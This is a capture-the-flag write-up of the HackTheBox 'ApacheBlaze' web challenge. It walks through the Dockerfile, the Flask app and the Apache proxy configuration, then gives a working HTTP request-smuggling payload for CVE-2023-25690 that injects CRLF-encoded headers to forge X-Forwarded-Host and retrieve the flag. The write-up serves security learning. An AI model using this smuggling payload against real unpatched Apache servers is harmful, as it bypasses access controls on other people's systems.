HackTheBox - Challenges ApacheBlaze

01/11/2023 - 2 minutes

apache challenges hacking hackthebox http_smuggling web
  1. 1 Enumeration
  2. 2 Technologies and Frameworks
  3. 3 Goal
  4. 4 Testing
  5. 5 Exploitation
  6. 6 Vulnerabilities and CVEs

# Enumeration

Dockerfile

FROM alpine:3

# Install system packages
RUN apk add --no-cache --update wget apr-dev apr-util-dev gcc libc-dev \
    pcre-dev make musl-dev

# Download and extract httpd
RUN wget https://archive.apache.org/dist/httpd/httpd-2.4.55.tar.gz && tar -xvf httpd-2.4.55.tar.gz

WORKDIR httpd-2.4.55

# Compile httpd with desired modules
RUN ./configure \
    --prefix=/usr/local/apache2 \
    --enable-mods-shared=all \
    --enable-deflate \
    --enable-proxy \
    --enable-proxy-balancer \
    --enable-proxy-http \
    && make \
    && make install

# Move compiled httpd binary
RUN mv httpd /usr/local/bin

WORKDIR /

# Copy Apache config files
COPY conf/httpd.conf /tmp/httpd.conf
RUN cat /tmp/httpd.conf >> /usr/local/apache2/conf/httpd.conf

# Can't bind to port 80
RUN sed -i '/^Listen 80$/s/^/#/' /usr/local/apache2/conf/httpd.conf

# Copy challenge files
COPY challenge/frontend/src/. /usr/local/apache2/htdocs/
RUN mkdir /app

# Copy application and configuration files
COPY conf/. /app
COPY challenge/backend/src/. /app

# Install Python dependencies
RUN apk add --update --no-cache \
    g++ \
    python3 \
    python3-dev \
    build-base \
    linux-headers \
    py3-pip \
    && pip install -I --no-cache-dir -r /app/requirements.txt

# Add a system user and group
RUN addgroup -S uwsgi-group && adduser -S -G uwsgi-group uwsgi-user

# Fix permissions
RUN chown -R uwsgi-user:uwsgi-group /usr/local/apache2/logs \
    && chmod 755 /usr/local/apache2/logs \
    && touch /usr/local/apache2/logs/error.log \
    && chown uwsgi-user:uwsgi-group /usr/local/apache2/logs/error.log \
    && chmod 644 /usr/local/apache2/logs/error.log

# Switch user to uwsgi-user
USER uwsgi-user

# Expose Apache's port
EXPOSE 1337

# Run httpd and uwsgi
CMD ["sh", "/app/uwsgi/start_uwsgi.sh"]

# Technologies and Frameworks

Proxy: Apache-Httpd 2.4.55 Language: Python Framework: Flask

app.py

from flask import Flask, request, jsonify

app = Flask(__name__)

app.config['GAMES'] = {'magic_click', 'click_mania', 'hyper_clicker', 'click_topia'}
app.config['FLAG'] = 'HTB{f4k3_fl4g_f0r_t3st1ng}'

@app.route('/', methods=['GET'])
def index():
    game = request.args.get('game')

    if not game:
        return jsonify({
            'error': 'Empty game name is not supported!.'
        }), 400

    elif game not in app.config['GAMES']:
        return jsonify({
            'error': 'Invalid game name!'
        }), 400

    elif game == 'click_topia':
        if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
            return jsonify({
                'message': f'{app.config["FLAG"]}'
            }), 200
        else:
            return jsonify({
                'message': 'This game is currently available only from dev.apacheblaze.local.'
            }), 200

    else:
        return jsonify({
            'message': 'This game is currently unavailable due to internal maintenance.'
        }), 200

# Goal

play the game click_topia while having the header X-Forwarded-Host set to 'dev.apacheblaze.local'

# Testing

Well if that was the only thing needed to do this would be a very easy challenge of trivial difficulty, well as seen below that is not the case.

The HTTP X-Forwarded-Host header is a request-type header de-facto standard header. This header is used to identify the original request made by the client. Because the hostnames and the ports differ in the reverse proxies that time this header took the leader and identify the original request. This header can also be used for debugging, creating location-based content. So this header kept the privacy of the client. The root version of this header is HTTP Forwarded.

Well lets find out why that is the case, by printing the value of the header.

dev.apacheblaze.local, 127.0.0.1:1337, 127.0.0.1:8080

This shows us that there must be some kind of proxying going on

httpd.conf

ServerName _
ServerTokens Prod
ServerSignature Off

Listen 8080
Listen 1337

ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so

<VirtualHost *:1337>

    ServerName _

    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on

    RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
    ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"

</VirtualHost>

<VirtualHost *:8080>

    ServerName _

    ProxyPass / balancer://mycluster/
    ProxyPassReverse / balancer://mycluster/

    <Proxy balancer://mycluster>
        BalancerMember http://127.0.0.1:8081 route=127.0.0.1
        BalancerMember http://127.0.0.1:8082 route=127.0.0.1
        ProxySet stickysession=ROUTEID
        ProxySet lbmethod=byrequests
    </Proxy>

</VirtualHost>

Ok now everything makes sense

# Exploitation

The first value comes from us setting the header ourlseves, the second is a proxy that rewrites any url /api/games/XXX to proxy to 127.0.0.1:8080?game=XXX

RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"

Then port 8080 is a load balancer to the actual application which runs on both port 8081 and 8082

<VirtualHost *:8080>
    ServerName _
    ProxyPass / balancer://mycluster/
    ProxyPassReverse / balancer://mycluster/
    <Proxy balancer://mycluster>
        BalancerMember http://127.0.0.1:8081 route=127.0.0.1
        BalancerMember http://127.0.0.1:8082 route=127.0.0.1
        ProxySet stickysession=ROUTEID
        ProxySet lbmethod=byrequests
    </Proxy>
</VirtualHost>

Which means we are now looking for vulnerabilities that will somehow allow us to bypass this proxies and load balancers to get our request directly to the app itself.

# Vulnerabilities and CVEs

![[assets/image_2_fbd916a5.png]] The very particular version of httpd chosen seems to be vulnerable to request splitting

https://github.com/dhmosfunk/CVE-2023-25690-POC#internal-http-request-smuggling-via-header-injection

![[assets/image_3_fbd916a5.png]] Meaning that a payload that will hit the backend with the appropriate header is this

GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/ HTTP/1.1 
Host: 127.0.0.1:1337

This will cause the smuggled request to have an X-Forwarded-Host of the previous request's Host Essentially this becomes 2 requests after it is rewritten with the rewrite rule.

GET /?game=click_topia HTTP/1.1
Host: dev.apacheblaze.local
GET / HTTP/1.1
Host: 127.0.0.1:8081 (which is the backend where the app is running)
X-Forwarded-Host: dev.apacheblaze.local (due to the previous host header)

![[assets/image_4_fbd916a5.png]]

which returns the flag ![[assets/image_5_fbd916a5.png]]